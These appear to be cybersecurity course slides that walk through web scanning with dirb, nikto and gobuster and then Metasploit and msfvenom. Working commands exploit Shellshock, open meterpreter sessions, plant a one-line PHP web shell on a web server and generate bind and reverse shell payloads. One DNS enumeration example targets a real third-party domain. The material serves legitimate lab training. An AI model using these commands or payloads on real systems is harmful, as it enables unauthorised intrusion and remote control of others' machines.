DIRB is a Web Content Scanner. It looks for existing
(and/or hidden) web objects. It works by launching a
dictionary-based attack against a web server and
analyzing the response.
It comes with a set of preconfigured attack wordlists for
easy usage, but you can use your custom wordlists.
www.cybexer.com
157
DIRB - usage
'dirb' is a command-line tool. If you run it from Linux
terminal window without any options, it will display its
help
• dirb
www.cybexer.com
158
DIRB - usage
To scan the web server, provide its hostname or IP
address. Be sure you use full URL format with HTTP or
HTTPS scheme
• dirb http://srv.studentXX.csirt.crp/
www.cybexer.com
159
DIRB - usage
If target web server is located not on standard port 80
or 443, you can use http(s) scheme with port number
http://10.XX.32.5:8080/
If you want to scan specific folder of web target, you
can add folder name to URL
http://10.XX.32.5:8080/project/
www.cybexer.com
160
DIRB - usage
By default, 'dirb' uses its own medium size wordlist,
which is located at
'/usr/share/dirb/wordlists/common.txt'. This wordlist
has over 4500 lines of different words.
'dirb' has several wordlists,
'/usr/share/dirb/wordlists/big.txt' which is over 20000
lines and '/usr/share/dirb/wordlists/small.txt' with
900+ lines.
www.cybexer.com
161
DIRB - usage
To use several wordlists, append them (comma
separated) after hostname or IP address
• cd /usr/share/dirb/wordlists
• dirb http://10.XX.32.5/ ./small.txt,./big.txt
www.cybexer.com
162
DIRB - usage
By default, if 'dirb' finds a folder on the target web
server, it will apply same dictionary to that folder. And if
new folders will be found, 'dirb' will scan them again.
This default action is very noisy, but to limit search to
single folder, user '-r' option. This will not do recursive
crawling
• dirb http://10.XX.32.5/ -r
www.cybexer.com
163
DIRB - usage
There are might be situations where you need to
extract the files of a specific extension over the target
server. '-X' parameter followed by extension name(s)
will append it to wordlist
• dirb http://10.21.32.5/ -X .php,.pl,.txt
www.cybexer.com
164
DIRB - usage
If you need to scan target server with delay of each
request, add option '-z' followed by number of
milliseconds
• dirb http://10.XX.32.5/ -z 1356 -r
www.cybexer.com
165
DIRB - usage
For the purpose of better readability, and future
references, you can save the output of the 'dirb' scan to
the file. To do this, use the parameter '-o' followed by
file name where output will be saved.
• dirb http://10.XX.32.5/ -r -o output.txt
www.cybexer.com
166
DIRB - usage
To ignore listing files or folders with unnecessary HTTP
response code, use '-N' option followed by 3-digit
response code number
• dirb http://10.XX.32.5/ -r -N 403
www.cybexer.com
167
DIRB - usage
If target site uses HTTP basic authentication, user '-u'
option followed by column separated username and
password
• dirb http://10.XX.32.5/ -r -u user:pass
www.cybexer.com
168
DIRB - usage
Some web sites may serve different content based on
browser's User-Agent string. To change default UserAgent string, use '-a' option
• dirb http://10.XX.32.5/ -r -a 'Mozilla/5.0 (Linux;
Android 6.0.1; E6653 Build/32.2.A.0.253)
Chrome/52.0.2743.98'
www.cybexer.com
169
DIRB - usage
In some environments, access to web site might be only
through a proxy server. Option '-p' followed by proxy
server's IP address and port number, will send all
requests through that proxy.
• dirb http://10.XX.32.5/ -r -p 127.0.0.1:3128
www.cybexer.com
170
DIRB - usage
If proxy server allows to access it only with username
and the password, add '-P' option followed by proxy
server credentials
• dirb http://10.XX.32.5/ -r -p 127.0.0.1:3128 -P
proxy_user:proxy_pass
www.cybexer.com
171
NIKTO
NIKTO
NIKTO - web server vulnerability detector.
Advanced scanner to identify different weaknesses in
web server:
• Web server and software misconfigurations
• Default files and programs
• Insecure files and programs
• Outdated servers and programs
www.cybexer.com
173
NIKTO - usage
For basic scanning of web server, you have to supply its
IP address of hostname and port
• nikto -h 10.XX.32.5 -p 80
www.cybexer.com
174
NIKTO - usage
You can specify target site, by specifying it in URL
notation
• nikto -h http://10.XX.32.5/
www.cybexer.com
175
NIKTO - usage
For scanning HTTPS web server, you have to supply its
IP address of hostname, port and use '-ssl' option
• nikto -h 10.XX.32.4 -p 443 -ssl
www.cybexer.com
176
NIKTO - usage
To scan several ports, write them comma-separated
after '-p' option.
• nikto -h 10.XX.32.5 -p 80,8080,8081
www.cybexer.com
177
NIKTO - usage
By default, 'nikto' uses User-Agent specified in the
configuration file '/etc/nikto.conf'
• grep -A 5 -B5 USERAGENT /etc/nikto.conf
www.cybexer.com
178
NIKTO - usage
Some IDS systems may block access to the sites with
default settings (to minimize hacks by script-kiddies).
'nikto' allows to change its User-Agent by setting 'useragent' option followed by custom name
• nikto -h http://10.XX.32.5/ -useragent "IOS 5.0,
iPad 2022 generation"
www.cybexer.com
179
GOBUSTER
GOBUSTER - installation
Kali Linux has 'gobuster' software in its repository. To
install it, run following command in your terminal
• apt-get install gobuster
www.cybexer.com
181
GOBUSTER - usage
To scan target web server, you have to specify URL for
hostname and path to the dictionary file
• gobuster dir -u http://10.XX.32.5/ -w
/usr/share/dirbuster/wordlists/directory-list-2.3small.txt
www.cybexer.com
182
GOBUSTER - usage
If you need to filter certain HTTP response codes, use 's' options followed by code number (can be comaseparated)
• gobuster dir -u http://10.XX.32.5/ -w
/usr/share/dirbuster/wordlists/directory-list-2.3small.txt -s 200,401,403
www.cybexer.com
183
GOBUSTER - usage
Similar to 'nikto', 'gobuster' uses its own User-Agent
string 'gobuster/3.1.0'. To change it, use '-a' option
followed by custom User-Agent string
• gobuster dir -u http://10.XX.32.5/ -w
/usr/share/dirbuster/wordlists/directory-list-2.3small.txt -a "Firefox 3.0"
www.cybexer.com
184
GOBUSTER - usage
In addition to web server scanning, 'gobuster' can run
DNS enumeration. To scan for DNS subdomains, you
need to supply domain name and path to dictionary file
• gobuster dns -d cnn.com -w
/usr/share/dnsenum/dns.txt
www.cybexer.com
185
Metasploit
Metasploit - intro
Metasploit is extremely robust and flexible penetration
testing framework and has tons of tools to perform
various simple and complex tasks.
www.cybexer.com
187
Metasploit - intro
Metasploit has various components which are located
in different categories
www.cybexer.com
188
Metasploit - intro
Auxiliaries - piece of code specifically written to perform a
task.
Some examples of auxiliaries:
auxiliary/admin/http/tomcat_administration - scans a
range of IP addresses and locates the Tomcat Server
administration panel and version
auxiliary/scanner/mysql/mysql_login - brute-force login
tool for MySQL servers
auxiliary/scanner/http/open_proxy - scan for open HTTP
proxies
www.cybexer.com
189
Metasploit - intro
Exploits - actual code that will execute on the target
system to take advantage of vulnerability.
Some examples of exploits:
windows/smb/ms17_010_eternalblue - ETERNALBLUE
exploit
unix/webapp/drupal_drupalgeddon2 - exploit for
Drupal CMS
www.cybexer.com
190
Metasploit - intro
Payloads - is the action that needs to be performed
after the execution of an exploit.
Some examples of payloads:
payload/generic/shell_reverse_tcp - generic reverse
TCP command shell
payload/php/reverse_php - reverse TCP PHP command
shell
www.cybexer.com
191
Metasploit - intro
Encoders - various techniques and algorithms to
obfuscate the payload in a way it does not get detected
by antivirus software.
Some examples of encoders:
encoder/cmd/powershell_base64 - Powershell Base64
command encoder
encoder/cmd/perl - Perl command encoder
www.cybexer.com
192
Metasploit - intro
POST (post-exploitation activities) - further infiltration
modules, which are used after successful exploitation.
Some examples of encoders:
post/linux/gather/enum_users_history - gather Linux
user history
post/windows/manage/install_ssh - install OpenSSH
on Winidows
www.cybexer.com
193
Metasploit - usage
Since Metasploit relies on Postgres database, before
first run, Metasploit must be configured for database
• msfdb init
www.cybexer.com
194
Metasploit - usage
If Metasploit already configured, then initialization
script will inform that
• msfdb init
www.cybexer.com
195
Metasploit - usage
Let's start Metasploit
• msfconsole
www.cybexer.com
196
Metasploit - usage
It is important to keep Metasploit up-to-date. Check
the version in MSF console
• version
www.cybexer.com
197
Metasploit - usage
Check the database connectivity in MSF console
• db_status
If database is not started, 'db_status' command will
show following output
To start Postgres SQL database, run following command
in Linux terminal
• service postgresql start
www.cybexer.com
198
Metasploit - usage
To list content of each category
• show encoders
www.cybexer.com
199
Metasploit - usage
Search for specific exploit/encoder/auxiliary etc.
• search ftp
www.cybexer.com
200
Metasploit - usage
To get more precise search results, use better search
query
• search windows printer
www.cybexer.com
201
Metasploit - usage
Metasploit is very powerful tool for various attack phases information gathering, scanning, exploitation and postexploitation.
Information gathering is the first and one of the most, if
not the most, important activities in penetration testing.
This step is carried out in order to find out as much
information about the target machine as possible.
The more information we have, the better our chances will
be for exploiting the target.
www.cybexer.com
202
Metasploit - usage
There are two types of techniques used in information
gathering
Passive information gathering - is used to gain
information about the target, without having any
physical connectivity or access to it.
Active information gathering - logical connection is set
up with the target in order to gain information.
www.cybexer.com
203
Metasploit - usage
Let's do our first information gathering task.
Since DNS is one of most important protocols in
internet, we will do DNS record scanning and
enumeration.
DNS enumeration is a passive information gathering.
www.cybexer.com
204
Metasploit - usage
To run 'auxiliary' module in MSF console, we use the
'use' command followed by the module name.
In MSF console switch to auxiliary module 'enum_dns'
• use auxiliary/gather/enum_dns
www.cybexer.com
205
Metasploit - usage
To display various information about the module, use
'info' command
• info
www.cybexer.com
206
Metasploit - usage
To show only module specific options, use following
command in MSF console
• show options
www.cybexer.com
207
Metasploit - usage
Module options has following columns:
Name - name of variable
Current Setting - value of variable
Required - is variable required or not. If required
variable is not set and module executed, then error will
be shown
Description - description of variable
www.cybexer.com
208
Metasploit - usage
We can see, that 'DOMAIN' variable is required, but set
empty. Let's set some domain name to that variable
• set DOMAIN zonetransfer.me
Now if we run 'show options' again, we will see correct
DOMAIN variable
• show options
www.cybexer.com
209
Metasploit - usage
Depends on environment and security rules, you might
have to set custom DNS server.
• set NS 10.103.176.2
www.cybexer.com
210
Metasploit - usage
Now we can run our DNS enumeration against
'zonetransfer.me' domain. In MSF console type 'run'
and hit 'Enter'
• run
www.cybexer.com
211
Metasploit - usage
Now, let's examine results of DNS enumeration of
'zonetransfer.me' domain
Note. Instead of 'run' command you can use 'exploit', it
is an alias, but looks cooler :)
www.cybexer.com
212
Metasploit - usage
Next is active information gathering with Metasploit.
MSF has several port scanner modules. Let's see what
port scanning modules MSF has
• search portscan
www.cybexer.com
213
Metasploit - usage
We start with simple SYN port scanning
• use auxiliary/scanner/portscan/syn
www.cybexer.com
214
Metasploit - usage
Let's see what options are required for port scanning.
Type following command MSF console
• show options
www.cybexer.com
215
Metasploit - usage
As we can see, the only required option for port
scanning which is empty is 'RHOSTS'. RHOSTS stands for
remote hosts. RHOSTS can be single IP address, range
of IP addresses, a hostname or CIDR identifier
• set RHOSTS 10.XX.32.5
To make port scanning run a bit faster, let's lower the
port range to 100 ports
• set PORTS 1-100
www.cybexer.com
216
Metasploit - usage
After target is set and port range adjusted, we can start
scanning with 'run' command
• run
www.cybexer.com
217
Metasploit - usage
Auxiliary port scanning modules 'scanner/portscan' use
MSF built-in functions. They are not very efficient and
powerful comparing to 'nmap'. MSF allows to scan
targets using native 'nmap' with all its rich functionality.
Syntax for running 'nmap' from Metasploit is exactly
the same as you would run 'nmap' from Linux
command line.
www.cybexer.com
218
Metasploit - usage
Exploiting targets is done in this way
- select exploit you want to use
- set required options
- run exploit against the target
www.cybexer.com
219
Metasploit - usage
Search Metasploit database for required exploit. In our
case, we need to search for 'shellshock'. In 'msfconsole'
prompt run following command
• search shellshock
www.cybexer.com
220
Metasploit - usage
Since we do not know that target is vulnerable to
'shellshock' exploit, we have to test it. Let's select that
exploit
• use
exploit/multi/http/apache_mod_cgi_bash_env_exe
c
www.cybexer.com
221
Metasploit - usage
Since each exploit can have several required options,
lets check them
• show options
www.cybexer.com
222
Metasploit - usage
From list of options, we can see that options 'RHOSTS'
and 'TARGETURI' are required, but not set. Let's set
those options
• set rhosts 10.XX.32.3
• set targeturi /cgi-bin/test.sh
www.cybexer.com
223
Metasploit - usage
It's advised to verify options again before running the
exploit against the target
• show options
www.cybexer.com
224
Metasploit - usage
Before actual exploitation, you can check if target is
vulnerable to selected exploit
• check
www.cybexer.com
225
Metasploit - usage
After all options are set and verified, you can run the
exploit
• exploit -j
www.cybexer.com
226
Metasploit - usage
To list active/established sessions, type in following
command
• sessions -l
www.cybexer.com
227
Metasploit - usage
To start interacting with active session use following
command (be sure to pick correct session number)
• sessions -i 1
www.cybexer.com
228
Metasploit - usage
To display 'meterpreter' help commands type following
• help
www.cybexer.com
229
Metasploit - usage
In active 'meterpreter' session you can run simple
systems commands
cat
cp
mkdir
mv
rm
etc.
www.cybexer.com
230
Metasploit - usage
Since we already know, that target machine is running
Linux operating system, lets switch from 'meterpreter'
shell to Linux command shell
• shell
www.cybexer.com
231
Metasploit - usage
To exit remote shell type 'exit' to quit it
• exit
www.cybexer.com
232
Metasploit - usage
Once you have entered 'meterpreter' session, you can
upload new exploits/backdoors/files to remote
machine.
Open new Kali Linux terminal and type following
command
• echo '<?php system($_GET[c]);?>' > /tmp/file.php
www.cybexer.com
233
Metasploit - usage
In active 'meterpreter' sessions upload new file to
specified remote location
• upload /tmp/file.php /var/www/html/file.php
Now access new file from your browser and add '?c=id'
to parameter
www.cybexer.com
234
Metasploit - usage
In 'meterpreter' prompt type 'exit' to quit it.
This command will shutdown active session.
www.cybexer.com
235
Metasploit - usage
To exit meterpreter shell, but keep session running,
type following command:
• bg
www.cybexer.com
236
Metasploit - usage
We also know, that remote target might have
vulnerable services.
Try to exploit them!
www.cybexer.com
237
Msfvenom
MSFvenom
Msfvenom is a standalone payload generator.
Msfvenom is a combination of Msfpayload and
Msfencode, putting both of these tools into a single
Framework making it as go to tool for generating
and encoding payload(s) for different uses.
www.cybexer.com
239
MSFvenom
In Kali we can list all msfvenom functionality by
simply running following command
• msfvenom
www.cybexer.com
240
MSFvenom
Supported platform list:
•
•
•
•
•
•
•
•
•
•
•
•
Cisco
OSX
Solaris
BSD
OpenBSD
hardware
Firefox
BSDi
NetBSD
NodeJS
FreeBSD
Python
www.cybexer.com
•
•
•
•
•
•
•
•
•
•
•
•
•
•
AIX
JavaScript
HPUX
PHP
Irix
Unix
Linux
Ruby
Java
Android
Netware
Windows
mainframe
multi
241
MSFvenom
Msfvenom has different modules for specific
actions. To list all available payloads, type following
command in your Kali terminal:
• msfvenom -l payloads
www.cybexer.com
242
MSFvenom
Listing other modules
• msfvenom -l encoders
• msfvenom -l archs
• msfvenom -l platforms
• msfvenom -l encrypt
www.cybexer.com
243
MSFvenom
Once specific payload is chosen, you can list its
options
• msfvenom -p php/meterpreter/bind_tcp --listoptions
www.cybexer.com
244
MSFvenom
Before generating desired payload, it's important to
pay attention to required options
www.cybexer.com
245
MSFvenom
For customized payload generation, you might want
to adjust advanced options
www.cybexer.com
246
MSFvenom
Before generating your first payload, you must
know following
• type of payload
Will the payload be executed on Linux or Windows
operating system?
What architecture is used on target machine?
Will payload be .exe, ELF, PHP, Java or PowerShell?
To what IP address and port payload will connect?
www.cybexer.com
247
MSFvenom
Let's generate our first payload.
Payload will be executed on Linux operating system.
Payload will be an executable file (ELF).
Payload will be running on 64-bit system.
Listening IP address will be - 127.0.0.1
Listening port will be - 4567
www.cybexer.com
248
MSFvenom
Let's check what payload options must be set
• msfvenom -p generic/shell_bind_tcp --listoptions
www.cybexer.com
249
MSFvenom
To generate the payload, type following command
in your Kali terminal
• msfvenom -p generic/shell_bind_tcp
LPORT=4567 -a x64 -f elf --platform Linux -o
/tmp/shell01
www.cybexer.com
250
MSFvenom
Set executable bit for the file
• chmod a+x /tmp/shell01
Check generated payload
• ls -la /tmp/shell01
Check file type
• file /tmp/shell01
www.cybexer.com
251
MSFvenom
Execute the shellcode
• /tmp/shell01
You will not see anything after execution.
www.cybexer.com
252
MSFvenom
Open new Kali terminal window and type following
command
• nc localhost 4567
You will not see any prompt or output.
Just type any Linux command
www.cybexer.com
253
MSFvenom
Now we generate new, reverse shell
• msfvenom -p linux/x64/shell_reverse_tcp
LHOST=127.0.0.1 LPORT=5678 -f elf -o
/tmp/shell02
www.cybexer.com
254
MSFvenom
Set executable bit for the file
• chmod a+x /tmp/shell02
Check generated payload
• ls -la /tmp/shell02
Check file type
• file /tmp/shell02
www.cybexer.com
255
MSFvenom
Since we generated the reverse shell, once the shell
is executed, it will connect to listening IP address
and port specified with LHOST and LPORT options.
In new Kali terminal window type following
command
• nc -lvp 5678
www.cybexer.com
256
MSFvenom
Now we can execute our second shell. In Kali
terminal window type following (keep nc running in
another terminal window)
• /tmp/shell02
If reverse connection was established, you should
see following text in you "nc" terminal window
www.cybexer.com
257
MSFvenom
Now you can run Linux commands
www.cybexer.com
258
MSFvenom
Meterpreter shell
The Meterpreter (short for meta-interpreter) shell, a special type
of shell, is the bread and butter of Metasploit. It can be added as
a payload that is either a bind shell or reverse shell. The
Meterpreter is one of the advanced payloads available with the
MSF, but you should not look at it as just a payload. Rather one
should view it as an exploit platform that is executed on the
remote system. It has its own command shell, which provides
the attacker with a wide variety of activities that can be executed
on the exploited system.
www.cybexer.com
259
MSFvenom
Let's generate meterpreter reverse shell.
First, we have to check what options must be set
before shellcode generation
• msfvenom -p
linux/x64/meterpreter/reverse_tcp --list-options
www.cybexer.com
260
MSFvenom
Type following command in your Kali terminal
• msfvenom -p
linux/x64/meterpreter/reverse_tcp
LHOST=127.0.0.1 LPORT=6789 -f elf -o
/tmp/shell03
www.cybexer.com
261
MSFvenom
Set executable bit for the file
• chmod a+x /tmp/shell03
Check generated payload
• ls -la /tmp/shell03
Check file type
• file /tmp/shell03
www.cybexer.com
262
MSFvenom
Next step is to run a Metasploit console with a
handler. Type following command in Kali
terminal
• msfconsole
www.cybexer.com
263
MSFvenom
Now let's configure a handler. In Metasploit type
following commands
• use exploit/multi/handler
www.cybexer.com
264
MSFvenom
Before running stager, we have to see what
options must be configured
• show options
www.cybexer.com
265
MSFvenom
Now we have to set option identical to our
shellcode options - port and payload
• set payload
linux/x64/meterpreter/reverse_tcp
• set LHOST 127.0.0.1
• set LPORT 6789
www.cybexer.com
266
MSFvenom
Before executing the handler, it is wise to recheck stager's settings
• show options
www.cybexer.com
267
MSFvenom
Once everything is correct, we can execute the
handler. Type following command in Metasploit
• run -j
www.cybexer.com
268
MSFvenom
Final step is to launch shellcode in Kali terminal
• /tmp/shell03
If shellcode was able to connect to handler, then
following message will appear in Metasploit
window
www.cybexer.com
269
MSFvenom
Let's see available sessions in Metasploit. Type
following command
• sessions -l
www.cybexer.com
270
MSFvenom
To start interacting with available session, type
following command (be sure to use correct
session ID number)
• sessions -i 1
www.cybexer.com
271
MSFvenom
Meterpreter allows to run built-in system
commands or run native shell of the remote
system. To see full list of available options, type
following command in Metasploit
• help
www.cybexer.com
272
Download